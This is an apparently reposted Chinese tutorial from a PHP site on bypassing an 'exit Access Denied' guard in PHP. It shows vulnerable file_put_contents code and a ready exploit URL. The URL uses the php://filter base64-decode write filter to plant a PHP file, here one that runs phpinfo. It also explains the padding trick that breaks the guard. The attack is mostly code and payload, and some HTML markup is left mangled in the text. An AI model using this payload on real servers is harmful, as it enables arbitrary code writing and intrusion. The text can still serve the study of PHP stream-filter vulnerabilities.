绕过'Access Denied'的方法
- WBOYOriginal
- 2016-06-07 15:05:362511browse
经常会碰到'Access Denied'，如何绕过呢？请详细阅读本文作者带来的小技巧。 register_globals = On ? php $sqlcontent = ?PHPexit('AccessDenied');? . $p . \n ; file_put_contents ( $logfile , $sqlcontent ); ? exp-demo.php?logfile=php://filter/writ
经常会碰到'Access Denied'，如何绕过呢？请详细阅读本文作者带来的小技巧。
register_globals = On
<ol class="dp-c">
<li class="alt"><span><span><font color="#fe6600">php</font> </span></span></li>
<li>
<span class="vars"><font color="#008284">$sqlcontent</font></span><span> = </span><span class="string"><font color="#006699">"<?PHP exit('Access Denied'); ?>"</font></span><span>.</span><span class="vars"><font color="#008284">$p</font></span><span>.</span><span class="string"><font color="#006699">"\n"</font></span><span>; </span>
</li>
<li class="alt">
<span class="func">file_put_contents</span><span>(</span><span class="vars"><font color="#008284">$logfile</font></span><span>, </span><span class="vars"><font color="#008284">$sqlcontent</font></span><span>); </span>
</li>
<li><span>?> </span></li>
</ol>
exp-demo.php?logfile=php://filter/write=convert.base64-decode/resource=abc.php&p=aPD9waHAgcGhwaW5mbygpOy8vPz4=
base64-decode会掉过不能解码的特殊字符，变成PHPexitAccessDenied，Base64编码要求把3个8位字节（3*8=24）转化为4个6位的字节（4*6=24），保证能顺利解码补齐字符随便加个a补齐20位。（利用 base64 发生乱码）
参考
http://marc.info/?l=full-disclosure&m=126034719521671&w=2
http://docs.php.net/manual/zh/filters.convert.php
Statement：
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Previous article：成功人士谈思科认证考试技巧4Next article：数据库原理